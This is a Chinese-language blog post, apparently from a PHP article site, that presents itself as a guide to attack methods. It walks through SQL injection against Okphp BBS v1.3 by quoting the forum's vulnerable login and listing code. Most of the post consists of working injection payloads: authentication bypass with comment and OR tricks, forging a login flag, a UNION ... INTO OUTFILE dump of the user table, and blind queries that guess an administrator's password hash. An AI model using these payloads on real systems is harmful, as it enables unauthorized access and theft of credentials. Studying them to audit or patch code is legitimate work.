php 攻击方法之谈php+mysql注射语句构造


Posted in PHP onOctober 30, 2009

一.前言:

版本信息:Okphp BBS v1.3 开源版

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。

声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

二.“漏洞”分析:

1.admin/login.php注射导致绕过身份验证漏洞:

代码:

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname); 

$password = md5($password); 

$q = "select id,group_id from $user_table where username='$username' and password='$password'"; 

$res = sql_query($q,$conn); 

$row = sql_fetch_row($res); 

$q = "select id,group_id from $user_table where username='$username' and password='$password'"中


$username 和 $password 没过滤, 很容易就绕过。

对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:

构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a

相当于sql语句:

select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)

即:

select * from $user_table where username='admin'#' and password='$password'"

相当于:

select * from $user_table where username='admin'

在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:

select id,group_id from $user_table where username='admin'#' and password='$password'"

相当于:

select id,group_id from $user_table where username='admin'

只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,

我们就可以这样构造:$username=' OR id=1#

相当于:

select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)

我们接着往下看代码:

if ($row[0]) { 

// If not admin or super moderator 

if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) { 

$login = 0; 

} 

else { 

$login = 1; 

} 

} 

// Fail to login--------------- 

if (!$login) { 

write_log("Moderator login","0","password wrong"); 

echo " "; 

exit(); 

} 

// Access ! ------------- 

else { 

session_start();

最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。

2.users/login.php注射导致绕过身份验证漏洞:

代码:

$md5password = md5($password); 

$q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'"; 

$res = sql_query($q,$conn); 

$row = sql_fetch_row($res);

$username没过滤利用同1里注释掉and password='$md5password'";

3.admin\log\list.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)

okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:

$arr = array("del_log","log_id","del_id"); 

get_r($arr); 

// 

if ($del_log) { 

省略........ 

if ($log_id) { 

foreach ($log_id as $val) { 

$q = "delete from $log_table where id='$val'"; 

$res = sql_query($q,$conn); 

if ($res) { 

$i++; 

} 

} 

} 

elseif ($del_id) { 

$q = "delete from $log_table where id='$del_id'"; 

$res = sql_query($q,$conn); 

} 

$tpl->setVariable("message","$i log deleted ok!"); 

$tpl->setVariable("action","index.php?action=list_log"); 

}

代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。

4.多个文件对变量没有过滤导致sql注射漏洞。

okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是“赤裸裸”的。具体那些文件我就不列出来了,请自己看代码,我这里就用\forums\list_threads.php为例子简单谈一下。

看list_threads.php的代码:

$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'"; 

$res = sql_query($q,$conn); 

$row = sql_fetch_row($res);

变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:

构造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:

$forum_id=' union select * from user_table into outfile '/path/file.txt'

以下:

$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";

上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:

构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用“返回结果不同”注射的例子:(见漏洞5)。

5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)

问题代码同漏洞1。

语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):

$username=admin' AND LENGTH(password)=6#

sql语句变成:

$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"

相当于:

$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"

如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。

这样我们就可以猜解用户admin密码hash了。如$username=admin' ord(substring(password,1,1))=57#

可以猜用户的密码第一位的ascii码值............。

PHP 相关文章推荐
PHP中上传大体积文件时需要的设置
Oct 09 PHP
Apache 配置详解(最好的APACHE配置教程)
Jul 04 PHP
php启用zlib压缩文件的配置方法
Jun 12 PHP
PHP curl 获取响应的状态码的方法
Jan 13 PHP
PHP 利用Mail_MimeDecode类提取邮件信息示例
Jan 26 PHP
自定义session存储机制避免会话保持问题
Oct 08 PHP
php单文件版在线代码编辑器
Mar 12 PHP
PHP中类属性与类静态变量的访问方法示例
Jul 13 PHP
PHP flush 函数使用注意事项
Aug 26 PHP
php上传后台无法收到数据解决方法
Oct 28 PHP
laravel框架实现为 Blade 模板引擎添加新文件扩展名操作示例
Jan 25 PHP
PHP随机生成中文段落示例【测试网站内容时使用】
Apr 26 PHP
PHP 文件上传源码分析(RFC1867)
Oct 30 #PHP
浅谈PHP 闭包特性在实际应用中的问题
Oct 30 #PHP
php实现jQuery扩展函数
Oct 30 #PHP
PHP 读取和修改大文件的某行内容的代码
Oct 30 #PHP
PHP 批量删除数据的方法分析
Oct 30 #PHP
ThinkPHP php 框架学习笔记
Oct 30 #PHP
php pack与unpack 摸板字符字符含义
Oct 29 #PHP
You might like
php采集文章中的图片获取替换到本地(实现代码)
2013/07/08 PHP
Symfony实现行为和模板中取得request参数的方法
2016/03/17 PHP
php模拟post上传图片实现代码
2016/06/24 PHP
php实现微信模拟登陆、获取用户列表及群发消息功能示例
2017/06/28 PHP
php单元测试phpunit入门实例教程
2017/11/17 PHP
让复选框只能选择一项的方法
2013/10/08 Javascript
轻松创建nodejs服务器(5):事件处理程序
2014/12/18 NodeJs
JavaScript实现随机替换图片的方法
2015/04/16 Javascript
浅析jQuery 遍历函数,javascript中的each遍历
2016/05/25 Javascript
利用bootstrapValidator验证UEditor
2016/09/14 Javascript
详解JavaScript中数组的reduce方法
2016/12/02 Javascript
javascript高仿热血传奇游戏实现代码
2018/02/22 Javascript
Vue.js 中取得后台原生HTML字符串 原样显示问题的解决方法
2018/06/10 Javascript
ES6基础之展开语法(Spread syntax)
2019/02/21 Javascript
Vue实现Header渐隐渐现效果的实例代码
2020/11/05 Javascript
在Python中使用SQLite的简单教程
2015/04/29 Python
python3结合openpyxl库实现excel操作的实例代码
2018/09/11 Python
详解Python字典小结
2018/10/20 Python
python中web框架的自定义创建
2019/09/08 Python
DJango的创建和使用详解(默认数据库sqlite3)
2019/11/18 Python
Python的历史与优缺点整理
2020/05/26 Python
pip 20.3 新版本发布!即将抛弃 Python 2.x(推荐)
2020/12/16 Python
浅析HTML5 Landmark
2020/09/11 HTML / CSS
365 Tickets英国:全球景点门票
2019/07/06 全球购物
澳大利亚100%丝绸多彩度假装商店:TheSwankStore
2019/09/04 全球购物
娇韵诗Clarins意大利官方网站:法国天然护肤品牌
2020/03/11 全球购物
.net C#面试题
2012/08/28 面试题
个人简历自我评价八例
2013/10/31 职场文书
前台文员岗位职责
2013/12/28 职场文书
优秀管理者获奖感言
2014/02/17 职场文书
六一儿童节开幕词
2015/01/29 职场文书
药品开票员岗位职责
2015/04/15 职场文书
深入理解python多线程编程
2021/04/18 Python
解决sql server 数据库,sa用户被锁定的问题
2021/06/11 SQL Server
Python面向对象之成员相关知识总结
2021/06/24 Python
go goroutine 怎样进行错误处理
2021/07/16 Golang